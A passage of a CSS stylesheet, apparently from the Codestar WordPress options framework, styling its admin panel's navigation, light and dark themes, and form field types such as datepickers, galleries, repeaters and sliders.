  left: 0;
  bottom: 0;
  z-index: 9;
  width: 225px;
}
.csf-wrapper {
  position: relative;
}
.csf-content {
  position: relative;
  background-color: #fff;
}
.csf-sections {
  float: left;
  width: 100%;
}
.csf-section-title {
  display: none;
  padding: 20px 30px;
  background-color: #f5f5f5;
  border-top: 1px solid #eee;
  border-bottom: 1px solid #eee;
}
.csf-section-title h3 {
  margin: 0;
  padding: 0;
  font-size: 13px;
  font-weight: 700;
  text-transform: uppercase;
}
.csf-section-title .csf-section-icon {
  margin-right: 5px;
}
.csf-footer {
  padding: 20px;
  font-size: 11px;
}
.csf-copyright {
  float: left;
  margin-top: 5px;
}
.csf-search-all .csf-nav,
.csf-search-all .csf-nav-background,
.csf-show-all .csf-nav,
.csf-show-all .csf-nav-background {
  display: none;
}
.csf-search-all .csf-content,
.csf-show-all .csf-content {
  margin-left: 0;
}
.csf-search-all .csf-section,
.csf-search-all .csf-section-title,
.csf-show-all .csf-section,
.csf-show-all .csf-section-title {
  display: block !important;
}
.csf-search-all .csf-section-title {
  display: none !important;
}
.csf-expand-all {
  float: left;
  padding: 0 8px;
  margin-right: 4px;
  z-index: 1;
  font-size: 13px;
  line-height: 30px;
  cursor: pointer;
  user-select: none;
  border-radius: 0;
  transition: all 0.2s;
}
.csf-expand-all span {
  font-size: 11px;
  vertical-align: middle;
}
.csf-search {
  float: left;
}
.csf-search input {
  margin: 0 2px 0 0;
  border: none;
  font-size: 12px;
  line-height: 36px;
  min-height: 30px;
  text-align: inherit;
  padding: 0 10px;
  border-radius: 0;
  box-shadow: none;
}
.csf-search input:focus {
  box-shadow: none;
}
.csf-saving .csf-buttons,
.csf-saving .csf-content {
  cursor: default;
  pointer-events: none;
  opacity: 0.5;
}
.csf-metabox {
  margin: -6px -12px -12px -12px;
}
.csf-metabox .csf-field {
  padding: 20px;
}
.csf-metabox .csf-section-title {
  padding: 20px;
}
.block-editor-page .csf-metabox {
  margin: -6px -14px -14px -14px;
}
.block-editor-editor-skeleton__content .csf-metabox {
  border-left: 1px solid #e2e4e7;
  border-right: 1px solid #e2e4e7;
}
.csf-sections-reset {
  float: left;
  width: 100%;
  text-align: right;
  border-top: 1px solid #eee;
}
.csf-sections-reset .csf-button-cancel,
.csf-sections-reset input {
  display: none;
}
.csf-sections-reset label {
  padding: 10px;
}
.csf-sections-reset span {
  -webkit-user-select: none;
  user-select: none;
}
.csf-sections-reset input:checked ~ .csf-button-reset {
  display: none;
}
.csf-sections-reset input:checked ~ .csf-button-cancel {
  display: inline-block;
}
#side-sortables .csf-section-title {
  padding: 12px;
}
#side-sortables .csf-field {
  padding: 10px 15px;
}
#side-sortables .csf-field .csf-title {
  float: none;
  width: 100%;
  margin-bottom: 6px;
}
#side-sortables .csf-field .csf-fieldset {
  float: none;
  width: 100%;
}
#side-sortables .csf-field-text input {
  width: 100%;
}
#side-sortables .csf-notice {
  padding: 10px 15px;
}
.csf-comment-metabox {
  margin: -6px -12px -12px -12px;
}
.csf-comment-metabox .csf-field {
  padding: 20px;
}
.csf-comment-metabox .csf-section-title {
  padding: 20px;
}
.csf-tooltip {
  position: absolute;
  z-index: 5000001;
  font-size: 12px;
  line-height: 1.4;
  text-align: center;
  text-decoration: none;
  padding: 6px 12px;
  max-width: 200px;
  color: #fff;
  background-color: #000;
  background-color: rgba(0, 0, 0, 0.85);
  border-radius: 0;
}
.csf-theme-dark .csf-header-inner {
  background-color: #050505;
}
.csf-theme-dark .csf-header-inner h1 {
  color: #fff;
}
.csf-theme-dark .csf-header-inner h1 small {
  color: #555;
}
.csf-theme-dark .csf-expand-all {
  color: #999;
  background-color: #222;
}
.csf-theme-dark .csf-expand-all:hover {
  color: #fff;
  background-color: #333;
}
.csf-theme-dark .csf-search input {
  color: #fff;
  background-color: #222;
}
.csf-theme-dark .csf-search:focus {
  background-color: #444;
}
.csf-theme-dark .csf-search::-webkit-input-placeholder {
  color: #666;
}
.csf-theme-dark .csf-nav ul li a {
  color: #999;
  border-color: #2f2f2f;
  background-color: #222;
}
.csf-theme-dark .csf-nav ul li a:hover {
  color: #fff;
}
.csf-theme-dark .csf-nav ul li .csf-active {
  color: #fff;
  background-color: #111;
}
.csf-theme-dark .csf-nav ul ul li a {
  border-color: #2f2f2f;
  background-color: #191919;
}
.csf-theme-dark .csf-nav ul ul li .csf-active {
  background-color: #101010;
}
.csf-theme-dark .csf-nav ul ul:before {
  background-color: rgba(34, 34, 34, 0.75);
}
.csf-theme-dark .csf-nav > ul > li:last-child > a {
  border: none;
}
.csf-theme-dark .csf-nav-normal ul li a {
  border-bottom-width: 1px;
  border-bottom-style: solid;
}
.csf-theme-dark .csf-nav-normal ul li .csf-active:after {
  content: " ";
  position: absolute;
  right: 0;
  top: 50%;
  height: 0;
  width: 0;
  pointer-events: none;
  border: solid transparent;
  border-right-color: #fff;
  border-width: 4px;
  margin-top: -4px;
}
.csf-theme-dark .csf-nav-inline {
  background-color: #222;
}
.csf-theme-dark .csf-nav-inline ul li a {
  text-align: center;
  border-right-width: 1px;
  border-right-style: solid;
}
.csf-theme-dark .csf-nav-inline ul li .csf-active:after {
  content: " ";
  position: absolute;
  left: 50%;
  bottom: 0;
  height: 0;
  width: 0;
  pointer-events: none;
  border: solid transparent;
  border-bottom-color: #fff;
  border-width: 4px;
  margin-left: -4px;
}
.csf-theme-dark .csf-nav-background {
  background-color: #222;
}
.csf-theme-dark .csf-footer {
  color: #555;
  background-color: #050505;
}
.csf-theme-light .csf-container {
  box-shadow: 0 0 15 rgba(0, 0, 0, 0.04);
}
.csf-theme-light .csf-header-inner {
  border-bottom: 1px solid #ccd0d4;
  background-color: #f5f5f5;
}
.csf-theme-light .csf-header-inner h1 small {
  color: #999;
}
.csf-theme-light .csf-expand-all {
  color: #999;
  background-color: #eee;
}
.csf-theme-light .csf-expand-all:hover {
  color: #555;
}
.csf-theme-light .csf-search input {
  color: #555;
  background-color: #eee;
}
.csf-theme-light .csf-search input::-webkit-input-placeholder {
  color: #999;
}
.csf-theme-light .csf-nav ul li a {
  font-weight: 500;
  color: #444;
  background-color: #f5f5f5;
}
.csf-theme-light .csf-nav ul li a:hover {
  color: #111;
  background-color: #fff;
}
.csf-theme-light .csf-nav ul li .csf-active {
  color: #111;
  background-color: #fff;
}
.csf-theme-light .csf-nav ul ul li a {
  background-color: #eee;
}
.csf-theme-light .csf-nav-normal > ul {
  margin-right: -1px;
  margin-bottom: -1px;
}
.csf-theme-light .csf-nav-normal > ul li a {
  border-bottom: 1px solid #ccd0d4;
  border-right: 1px solid #ccd0d4;
}
.csf-theme-light .csf-nav-normal > ul li .csf-active {
  border-right-color: #fff;
}
.csf-theme-light .csf-nav-inline {
  background-color: #f5f5f5;
  border-bottom: 1px solid #ccd0d4;
}
.csf-theme-light .csf-nav-inline > ul {
  margin-bottom: -1px;
}
.csf-theme-light .csf-nav-inline > ul li a {
  text-align: center;
  border-right: 1px solid #ccd0d4;
  border-bottom: 1px solid #ccd0d4;
}
.csf-theme-light .csf-nav-inline > ul li .csf-active {
  border-bottom-color: #fff;
}
.csf-theme-light .csf-nav-inline > ul ul {
  display: none !important;
}
.csf-theme-light .csf-nav-inline .csf-arrow:after {
  display: none;
}
.csf-theme-light .csf-nav-background {
  background-color: #f5f5f5;
}
.csf-theme-light .csf-footer {
  color: #555;
  border-top: 1px solid #ccd0d4;
  background-color: #f5f5f5;
}
.csf-field {
  position: relative;
  padding: 30px;
}
.csf-field + .csf-field {
  border-top: 1px solid #eee;
}
.csf-field p:first-child {
  margin-top: 0;
}
.csf-field p:last-child {
  margin-bottom: 0;
}
.csf-field:after,
.csf-field:before {
  content: " ";
  display: table;
}
.csf-field:after {
  clear: both;
}
.csf-field h4 {
  margin-top: 0;
}
.csf-field .csf-title {
  position: relative;
  width: 35%;
  float: left;
}
.csf-field .csf-title h4 {
  margin: 0;
  color: #23282d;
}
.csf-field .csf-fieldset {
  float: right;
  width: calc(65% - 20px);
}
.csf-pseudo-field {
  padding: 0 5px 0 0 !important;
  display: inline-block;
}
.csf-pseudo-field + .csf-pseudo-field {
  border: 0;
}
.csf-pseudo-field pre {
  display: none;
}
.csf-field-accordion .csf-accordion-item {
  position: relative;
  margin-bottom: 5px;
}
.csf-field-accordion .csf-accordion-item:last-child {
  margin-bottom: 0;
}
.csf-field-accordion .csf-accordion-item h4 {
  font-size: 1em;
}
.csf-field-accordion .csf-accordion-title {
  display: block;
  cursor: pointer;
  position: relative;
  margin: 0;
  padding: 15px;
  min-height: 0;
  font-size: 100%;
  user-select: none;
  border: 1px solid #ccd0d4;
  background-color: #fafafa;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
  transition: border-color 0.15s;
}
.csf-field-accordion .csf-accordion-title:active,
.csf-field-accordion .csf-accordion-title:focus,
.csf-field-accordion .csf-accordion-title:hover {
  outline: 0;
  border-color: #999;
}
.csf-field-accordion .csf-accordion-title .csf--icon {
  width: 20px;
  text-align: center;
  margin-right: 2px;
}
.csf-field-accordion .csf-accordion-icon {
  width: 16px;
  text-align: center;
}
.csf-field-accordion .csf-accordion-content {
  display: none;
  padding: 0;
  border: 1px solid #ccd0d4;
  border-top: none;
  background-color: #fff;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-field-accordion .csf-accordion-content > .csf-field {
  padding: 15px;
}
.csf-field-accordion .csf-accordion-open {
  display: block;
}
.csf-field-background .csf-field {
  border: 0 !important;
  padding: 0;
  margin-bottom: 6px;
  margin-right: 6px;
}
.csf-field-background .csf--title {
  color: #777;
  font-size: 12px;
}
.csf-field-background .csf--background-colors {
  display: flex;
  flex-wrap: wrap;
}
.csf-field-background .csf--background-attributes {
  display: flex;
  flex-wrap: wrap;
}
.csf-field-background .csf--background-attributes select {
  min-width: 100%;
  margin: 0;
}
.csf-field-background .csf--background-attributes .csf-field {
  flex: 1;
}
.csf-field-background .csf--attributes-hidden {
  display: none;
}
.csf-field-backup textarea {
  width: 100%;
  min-height: 200px;
  margin-bottom: 5px;
}
.csf-field-backup small {
  display: inline-block;
  margin: 5px;
}
.csf-field-backup hr {
  margin: 20px 0;
  border: none;
  border-bottom: 1px solid #e5e5e5;
}
.csf-field-border .csf--inputs,
.csf-field-dimensions .csf--inputs,
.csf-field-spacing .csf--inputs,
.csf-field-spacings .csf--inputs,
.csf-field-sizes .csf--inputs {
  float: left;
  display: flex;
  flex-wrap: wrap;
}
.csf-field-border .csf--input,
.csf-field-dimensions .csf--input,
.csf-field-spacing .csf--input,
.csf-field-spacings .csf--input,
.csf-field-sizes .csf--input {
  display: flex;
  padding-right: 6px;
  padding-bottom: 4px;
  box-sizing: border-box;
}
.csf-field-border .csf--input select,
.csf-field-dimensions .csf--input select,
.csf-field-spacing .csf--input select {
  margin: 0;
}
.csf-field-border .csf--input input,
.csf-field-dimensions .csf--input input,
.csf-field-spacing .csf--input input,
.csf-field-spacings .csf--input input,
.csf-field-sizes .csf--input input {
  position: relative;
  z-index: 1;
  margin: 0;
  width: 65px;
  max-width: 100%;
  text-align: center;
}
.csf-field-border .csf--color,
.csf-field-dimensions .csf--color,
.csf-field-spacing .csf--color,
.csf-field-spacings .csf--color {
  float: left;
}
.csf-field-border .csf--label,
.csf-field-dimensions .csf--label,
.csf-field-spacing .csf--label,
.csf-field-spacings .csf--label,
.csf-field-sizes .csf--label {
  display: flex;
  flex-direction: column;
  justify-content: center;
  user-select: none;
  min-width: 20px;
  max-width: 100%;
  padding: 0 4px;
  font-size: 12px;
  text-align: center;
  color: #555;
  border: 1px solid #7b776c;
  background-color: #f5f5f5;
}
.csf-field-border .csf--icon,
.csf-field-dimensions .csf--icon,
.csf-field-spacing .csf--icon,
.csf-field-spacings .csf--icon,
.csf-field-sizes .csf--icon {
  border-right: 0;
  border-radius: 0;
}
.csf-field-border .csf--icon + input,
.csf-field-dimensions .csf--icon + input,
.csf-field-spacing .csf--icon + input,
.csf-field-spacings .csf--icon + input,
.csf-field-sizes .csf--icon + input {
  border-top-left-radius: 0 !important;
  border-bottom-left-radius: 0 !important;
}
.csf-field-border .csf--unit,
.csf-field-dimensions .csf--unit,
.csf-field-spacing .csf--unit,
.csf-field-spacings .csf--unit,
.csf-field-sizes .csf--unit {
  border-left: 0;
  border-radius: 0;
}
.csf-field-border .csf--is-unit,
.csf-field-dimensions .csf--is-unit,
.csf-field-spacing .csf--is-unit,
.csf-field-spacings .csf--is-unit,
.csf-field-sizes .csf--is-unit {
  border-top-right-radius: 0 !important;
  border-bottom-right-radius: 0 !important;
}
.csf-field-button_set .csf--buttons {
  display: inline-block;
}
.csf-field-button_set .csf--button {
  position: relative;
  z-index: 1;
  float: left;
  cursor: pointer;
  padding: 7px 14px;
  min-width: 16px;
  text-align: center;
  color: #555;
  border: 1px solid #ccc;
  background-color: #f7f7f7;
  user-select: none;
  box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
}
.csf-field-button_set .csf--button:first-child {
  border-radius: 0;
}
.csf-field-button_set .csf--button:last-child {
  border-radius: 0;
}
.csf-field-button_set .csf--button:not(:first-child) {
  margin-left: -1px;
}
.csf-field-button_set .csf--button:hover {
  background-color: #eee;
}
.csf-field-button_set .csf--active,
.csf-field-button_set .csf--active:hover {
  z-index: 2;
  color: #fff;
  border-color: #006799;
  background-color: #0085ba;
}
.csf-field-button_set input {
  display: none;
}
.csf-field-checkbox ul,
.csf-field-radio ul {
  margin: 0;
  padding: 0;
  list-style-type: none;
  overflow-y: auto;
  max-height: 305px;
}
.csf-field-checkbox ul li,
.csf-field-radio ul li {
  margin-bottom: 6px;
}
.csf-field-checkbox ul ul,
.csf-field-radio ul ul {
  max-height: none;
}
.csf-field-checkbox ul ul li,
.csf-field-radio ul ul li {
  margin-left: 8px;
}
.csf-field-checkbox ul ul li:first-child,
.csf-field-radio ul ul li:first-child {
  margin-left: 0;
}
.csf-field-checkbox input,
.csf-field-radio input {
  margin: 0 1px;
}
.csf-field-checkbox .csf--inline-list li,
.csf-field-radio .csf--inline-list li {
  display: inline-block;
  margin-right: 15px;
}
.csf-field-checkbox .csf--text,
.csf-field-radio .csf--text {
  margin-left: 5px;
  vertical-align: middle;
}
.csf-field-checkbox .csf-checker,
.csf-field-radio .csf-checker {
  cursor: pointer;
}
.csf-field-checkbox .csf-checkbox-all,
.csf-field-radio .csf-checkbox-all {
  user-select: none;
  cursor: pointer;
  margin-top: 5px;
  font-weight: 500;
  text-decoration: none;
}
.csf-field-code_editor .CodeMirror {
  width: 100%;
  height: 400px;
}
.csf-field-code_editor .cm-s-default {
  border: 1px solid #ccd0d4;
}
.csf-field-code_editor textarea {
  width: 100%;
  height: 400px;
}
.csf-field-color > input {
  opacity: 0.75;
  width: 115px;
  max-width: 100%;
}
.csf-field-color .button.wp-picker-clear {
  padding: 0 8px;
  margin-left: 6px;
  line-height: 2.54545455;
  min-height: 30px;
}
.csf-field-color_group .csf--left {
  float: left;
  margin-right: 10px;
  margin-bottom: 5px;
}
.csf-field-color_group .csf--title {
  color: #999;
  margin-bottom: 5px;
}
.csf-field-fieldset .csf-fieldset-content {
  border: 1px solid #ccd0d4;
  background-color: #fff;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-field-fieldset .csf-fieldset-content > .csf-field {
  padding: 15px;
}
.csf-field-fieldset .csf-field-subheading {
  font-size: 13px;
}
.csf-field-date input {
  margin: 0;
}
.csf-field-date .csf--to {
  margin-left: 7px;
}
.csf-datepicker-wrapper {
  margin-top: 5px;
  width: auto;
  background-color: #fff;
  z-index: 9999999 !important;
  box-shadow: 0 0 30px rgba(0, 0, 0, 0.15);
}
.csf-datepicker-wrapper * {
  float: none;
  margin: 0;
  padding: 0;
  font-family: inherit;
  font-weight: 400;
  font-style: normal;
  text-decoration: none;
  border: 0;
  border-radius: 0;
  box-shadow: none;
}
.csf-datepicker-wrapper .ui-datepicker-header,
.csf-datepicker-wrapper .ui-widget-header {
  color: #fff;
  background: #00a0d2;
}
.csf-datepicker-wrapper .ui-datepicker-header .ui-state-hover {
  cursor: pointer;
}
.csf-datepicker-wrapper .ui-datepicker-title {
  font-size: 14px;
  line-height: 40px;
  text-align: center;
}
.csf-datepicker-wrapper .ui-datepicker-next,
.csf-datepicker-wrapper .ui-datepicker-prev {
  position: static;
  top: auto;
  left: auto;
  right: auto;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 12px;
  text-align: center;
  width: 41px;
  height: 40px;
  line-height: 40px;
  color: #fff;
  background-color: rgba(255, 255, 255, 0.1);
  text-rendering: auto;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}
.csf-datepicker-wrapper .ui-datepicker-next span,
.csf-datepicker-wrapper .ui-datepicker-prev span {
  display: none;
}
.csf-datepicker-wrapper .ui-datepicker-prev {
  float: left;
}
.csf-datepicker-wrapper .ui-datepicker-next {
  float: right;
}
.csf-datepicker-wrapper .ui-datepicker-prev:before {
  content: "\f053";
}
.csf-datepicker-wrapper .ui-datepicker-next:before {
  content: "\f054";
}
.csf-datepicker-wrapper .ui-datepicker-next-hover,
.csf-datepicker-wrapper .ui-datepicker-prev-hover {
  opacity: 0.75;
}
.csf-datepicker-wrapper tbody .ui-datepicker-week-col {
  background-color: #f7f7f7;
}
.csf-datepicker-wrapper .ui-datepicker-buttonpane {
  padding: 10px;
  text-align: center;
  background-color: #f7f7f7;
}
.csf-datepicker-wrapper .ui-datepicker-buttonpane button {
  cursor: pointer;
  margin: 0 5px;
  padding: 7px 14px;
  border: 1px solid #eee;
  background-color: #fff;
}
.csf-datepicker-wrapper select {
  margin: 0 4px;
}
.csf-datepicker-wrapper select option {
  color: #555;
}
.csf-datepicker-wrapper table {
  font-size: 13px;
  border-collapse: collapse;
  width: 100%;
}
.csf-datepicker-wrapper thead {
  color: #fff;
  background: #32373c;
}
.csf-datepicker-wrapper th {
  text-align: center;
  padding: 7px;
  border: 1px solid #444;
}
.csf-datepicker-wrapper td {
  text-align: center;
  border: 1px solid #f4f4f4;
}
.csf-datepicker-wrapper td.ui-datepicker-other-month {
  border: transparent;
}
.csf-datepicker-wrapper td .ui-state-default {
  color: #555;
  width: auto;
  display: block;
  padding: 6px 12px;
}
.csf-datepicker-wrapper td .ui-state-active,
.csf-datepicker-wrapper td .ui-state-hover {
  color: #fff;
  background-color: #0073aa;
}
.csf-datepicker-wrapper td.ui-state-disabled .ui-state-default {
  opacity: 0.5;
}
.csf-field-datetime input {
  margin: 0;
}
.csf-field-datetime .csf--to {
  margin-left: 7px;
}
.csf-flatpickr input,
.csf-flatpickr select {
  min-height: auto;
}
.csf-flatpickr input:focus,
.csf-flatpickr select:focus {
  box-shadow: none;
}
.csf-flatpickr.open {
  z-index: 9999999 !important;
}
.csf-field-gallery ul {
  margin: 0;
  padding: 0;
  list-style-type: none;
}
.csf-field-gallery ul li {
  display: inline-block;
  position: relative;
  padding: 4px;
  margin: 0 5px 10px 0;
  border: 1px solid #ccc;
  background-color: #f9f9f9;
  border-radius: 0;
  box-shadow: 0 1px 0 rgba(0, 0, 0, 0.08);
}
.csf-field-gallery ul li img {
  max-height: 60px;
  display: inline-block;
  vertical-align: middle;
}
.csf-field-gallery .button {
  margin-right: 5px;
  margin-bottom: 5px;
}
.csf-field-group .csf-cloneable-hidden {
  display: none !important;
}
.csf-field-group .csf-cloneable-wrapper {
  position: relative;
}
.csf-field-group .csf-cloneable-item {
  display: none;
  position: relative;
  margin-bottom: 5px;
}
.csf-field-group .csf-cloneable-item h4 {
  font-size: 1em;
}
.csf-field-group .ui-accordion .csf-cloneable-item {
  display: block;
}
.csf-field-group .csf-cloneable-content {
  border: 1px solid #ccd0d4;
  background-color: #fff;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-field-group .csf-cloneable-content > .csf-field {
  padding: 15px;
}
.csf-field-group .csf-cloneable-title {
  display: block;
  cursor: pointer;
  position: relative;
  user-select: none;
  margin: 0;
  padding: 15px 65px 15px 10px;
  min-height: 0;
  font-size: 100%;
  border: 1px solid #ccd0d4;
  background-color: #fafafa;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
  transition: border-color 0.15s;
}
.csf-field-group .csf-cloneable-title:active,
.csf-field-group .csf-cloneable-title:focus,
.csf-field-group .csf-cloneable-title:hover {
  border-color: #999;
  outline: 0;
}
.csf-field-group .csf-cloneable-helper {
  position: absolute;
  top: 12px;
  right: 10px;
  z-index: 1;
  font-size: 14px;
  line-height: 1em;
}
.csf-field-group .csf-cloneable-helper i {
  display: inline-block;
  cursor: pointer;
  padding: 5px;
  color: #999;
}
.csf-field-group .csf-cloneable-helper i:hover {
  color: #555;
}
.csf-field-group .csf-cloneable-content {
  padding: 0;
  border-top: 0;
}
.csf-field-group .csf-cloneable-title-number,
.csf-field-group .csf-cloneable-title-prefix {
  margin-right: 5px;
}
.csf-field-group .csf-cloneable-alert {
  display: none;
  margin-bottom: 5px;
  padding: 10px 20px;
  color: #a94442;
  border: 1px solid #ebccd1;
  background-color: #f2dede;
}
.csf-field-group .widget-placeholder {
  margin-bottom: 10px;
  border: 1px dashed #f1c40f;
  background-color: #fffae4;
}
.csf-field-group .csf-cloneable-header-icon {
  display: inline-block;
  text-align: center;
  font-size: 14px;
  width: 17px;
  text-indent: 0;
  vertical-align: text-top;
}
.csf-field-group .csf-cloneable-placeholder {
  background-color: #ddd;
  margin-top: 4px;
  width: 100px;
  height: 10px;
  font-size: 10px;
  line-height: 10px;
  display: inline-block;
  vertical-align: top;
  border-radius: 0;
}
.csf-field-icon .csf-icon-select {
  display: flex;
  grid-gap: 5px;
}
.csf-field-icon .csf-icon-preview:not(.hidden) {
  display: flex;
}
.csf-field-icon .csf-icon-preview i {
  display: flex;
  justify-content: center;
  align-items: center;
  width: 30px;
  font-size: 14px;
  text-align: center;
  vertical-align: top;
  color: #555;
  border: 1px solid #ccc;
  background-color: #f7f7f7;
  border-radius: 0;
  box-shadow: 0 1px 0 rgba(0, 0, 0, 0.08);
}
.csf-field-image_select .csf--image {
  display: inline-block;
  margin: 0 5px 5px 0;
}
.csf-field-image_select .csf--inline-list .csf--image {
  display: block;
}
.csf-field-image_select figure {
  cursor: pointer;
  position: relative;
  display: inline-block;
  max-width: 100%;
  margin: 0;
  vertical-align: bottom;
  border: 2px solid transparent;
  background-color: #fff;
  user-select: none;
  transition: all 0.2s;
}
.csf-field-image_select figure:before {
  position: absolute;
  top: 0;
  left: 0;
  text-align: center;
  font-size: 10px;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  content: "\f00c";
  width: 16px;
  height: 16px;
  line-height: 14px;
  opacity: 0;
  color: #fff;
  background-color: #222;
  transition: opacity 0.2s;
}
.csf-field-image_select .csf--active figure {
  border-color: #222;
  box-shadow: 0 0 20px rgba(0, 0, 0, 0.2);
}
.csf-field-image_select .csf--active figure:before {
  opacity: 1;
}
.csf-field-image_select img {
  max-width: 100%;
  height: auto;
  vertical-align: top;
}
.csf-field-image_select input {
  display: none;
}
.csf-field-link_color .csf--left {
  float: left;
  margin-right: 10px;
  margin-bottom: 5px;
}
.csf-field-link_color .csf--title {
  color: #777;
  margin-bottom: 5px;
}
.csf-field-map input {
  width: 100%;
}
.csf-field-map input[type="text"].ui-autocomplete-loading {
  background-position-x: calc(100% - 5px);
}
.csf-field-map .csf--map-search + .csf--map-osm-wrap {
  margin-top: 10px;
}
.csf-field-map .csf--map-osm-wrap {
  position: relative;
  padding: 5px;
  border: 1px solid #eee;
  background-color: #fff;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-field-map .csf--map-osm {
  position: relative;
  z-index: 1;
  min-height: 250px;
}
.csf-field-map .csf--map-inputs {
  margin-top: 10px;
  display: flex;
  justify-content: space-between;
}
.csf-field-map .csf--map-input {
  flex: 1;
}
.csf-field-map .csf--map-input:last-child {
  padding-left: 10px;
}
.csf-field-map label {
  display: block;
  color: #777;
  font-size: 12px;
  margin: 0 0 2px 0;
}
.csf-map-ui-autocomplate {
  z-index: 999999;
  border-radius: 0;
  overflow: hidden;
}
.csf-field-media .csf--placeholder {
  display: flex;
  align-items: flex-start;
}
.csf-field-media .csf--placeholder input {
  width: 100%;
  margin: 0;
}
.csf-field-media .button {
  margin-left: 5px;
}
.csf-field-media .hidden + .button {
  margin-left: 0;
}
.csf-field-media .csf--preview {
  position: relative;
}
.csf-field-palette .csf--palette {
  position: relative;
  display: inline-block;
  cursor: pointer;
  border: 2px solid #ddd;
  margin-right: 10px;
  margin-bottom: 10px;
  user-select: none;
  -webkit-user-select: none;
  transition: all 0.2s;
}
.csf-field-palette .csf--palette span {
  vertical-align: middle;
  display: inline-block;
  width: 22px;
  height: 60px;
  line-height: 60px;
  overflow: hidden;
  text-indent: -999px;
}
.csf-field-palette .csf--palette:before {
  position: absolute;
  top: 0;
  left: 0;
  text-align: center;
  font-size: 10px;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  content: "\f00c";
  width: 16px;
  height: 16px;
  line-height: 14px;
  opacity: 0;
  color: #fff;
  background-color: #222;
  transition: opacity 0.2s;
}
.csf-field-palette .csf--active {
  border-color: #222;
  box-shadow: 0 0 20px rgba(0, 0, 0, 0.2);
}
.csf-field-palette .csf--active:before {
  opacity: 1;
}
.csf-field-palette input {
  display: none;
}
.csf-field-repeater .csf-field-text input {
  width: 100%;
}
.csf-field-repeater .csf-repeater-hidden {
  display: none !important;
}
.csf-field-repeater .csf-repeater-wrapper .csf-repeater-item {
  display: table;
  width: 100%;
  margin-bottom: 5px;
  border: 1px solid #eee;
}
.csf-field-repeater .csf-repeater-wrapper .csf-repeater-item h4 {
  font-size: 1em;
}
.csf-field-repeater .csf-repeater-content {
  width: 100%;
  display: table-cell;
  vertical-align: middle;
  background-color: #fff;
}
.csf-field-repeater .csf-repeater-content > .csf-field {
  padding: 15px;
}
.csf-field-repeater .csf-repeater-helper {
  width: 100%;
  display: table-cell;
  vertical-align: middle;
  text-align: center;
  font-size: 14px;
  line-height: 1em;
  border-left: 1px solid #eee;
  background-color: #f7f7f7;
}
.csf-field-repeater .csf-repeater-helper i {
  display: inline-block;
  cursor: pointer;
  color: #999;
  padding: 5px;
}
.csf-field-repeater .csf-repeater-helper i:hover {
  color: #555;
}
.csf-field-repeater .csf-repeater-helper-inner {
  width: 75px;
}
.csf-field-repeater .csf-repeater-alert {
  display: none;
  margin-bottom: 5px;
  padding: 10px 20px;
  color: #a94442;
  border: 1px solid #ebccd1;
  background-color: #f2dede;
}
.csf-field-repeater .widget-placeholder {
  height: 50px;
  margin-bottom: 3px;
  border: 1px dashed #f1c40f;
  background-color: #fffae4;
}
.csf-field-repeater .ui-sortable-helper {
  height: 50px !important;
  overflow: hidden !important;
  border-color: #ccc !important;
  background-color: #eee !important;
  opacity: 0.5;
}
.csf-field-repeater .ui-sortable-helper .csf-repeater-content,
.csf-field-repeater .ui-sortable-helper .csf-repeater-helper {
  display: none;
}
.csf-field-select .csf-fieldset {
  min-height: 30px;
}
.csf-field-select .csf-chosen {
  display: none;
}
.csf-field-select select {
  max-width: 100%;
  margin: 0;
}
.csf-field-select .csf-hide-select {
  display: none !important;
}
.csf-field-slider .csf--wrap {
  display: flex;
  align-items: center;
}
.csf-field-slider .csf--input {
  display: flex;
}
.csf-field-slider .csf--unit {
  display: flex;
  justify-content: center;
  flex-direction: column;
  user-select: none;
  padding: 0 6px;
  font-size: 11px;
  line-height: 1;
  border-radius: 0;
  color: #555;
  border: 1px solid #7e8993;
  border-left: 0;
  background-color: #f5f5f5;
}
.csf-field-slider .csf-slider-ui {
  margin-right: 15px;
}
.csf-field-slider input[type="number"] {
  position: relative;
  z-index: 1;
  margin: 0;
  width: 50px;
  text-align: center;
}
.csf-field-slider .csf--is-unit {
  border-top-right-radius: 0 !important;
  border-bottom-right-radius: 0 !important;
}
.csf-field-slider .ui-slider {
  position: relative;
  width: 100%;
  height: 3px;
  border: none;
  background: #ddd;
  border-radius: 0;
}
.csf-field-slider .ui-slider-range {
  height: 3px;
  border: none;
  background: #333;
  border-radius: 0;
}
.csf-field-slider .ui-slider-handle {
  position: absolute;
  width: 16px;
  height: 16px;
  top: -7px;
  margin-left: -8px;
  border: none;
  background: #333;
  border-radius: 0;
}
.csf-field-slider .ui-slider-handle:hover,
.csf-field-slider .ui-state-active {
  cursor: pointer;
  background: #111;
}
.csf-field-sortable .csf-field-text input {
  width: 100%;
  max-width: 100%;
}
.csf-field-sortable .csf-sortable .csf-sortable-item {
  display: table;
  width: 100%;
  margin-bottom: 5px;
  border: 1px solid #eee;
}
.csf-field-sortable .csf-sortable .csf-sortable-item h4 {
  font-size: 1em;
}
.csf-field-sortable .csf-sortable-content {
  width: 100%;
  display: table-cell;
  vertical-align: middle;
  background-color: #fff;
}
.csf-field-sortable .csf-sortable-content > .csf-field {
  padding: 15px;
}
.csf-field-sortable .csf-sortable-helper {
  width: 100%;
  display: table-cell;
  vertical-align: middle;
  text-align: center;
  font-size: 14px;
  line-height: 1em;
  border-left: 1px solid #eee;
  background-color: #f7f7f7;
}
.csf-field-sortable .csf-sortable-helper i {
  display: inline-block;
  cursor: pointer;
  width: 50px;
  color: #555;
}
.csf-field-sortable .csf-sortable-helper i:hover {
  opacity: 0.5;
}
.csf-field-sortable .widget-placeholder {
  height: 50px;
  margin-bottom: 3px;
  border: 1px dashed #f1c40f;
  background-color: #fffae4;
}
.csf-field-sortable .ui-sortable-helper {
  height: 50px !important;
  overflow: hidden !important;
  border-color: #ccc !important;
  background-color: #eee !important;
  opacity: 0.5;
}
.csf-field-sortable .ui-sortable-helper .csf-sortable-content,
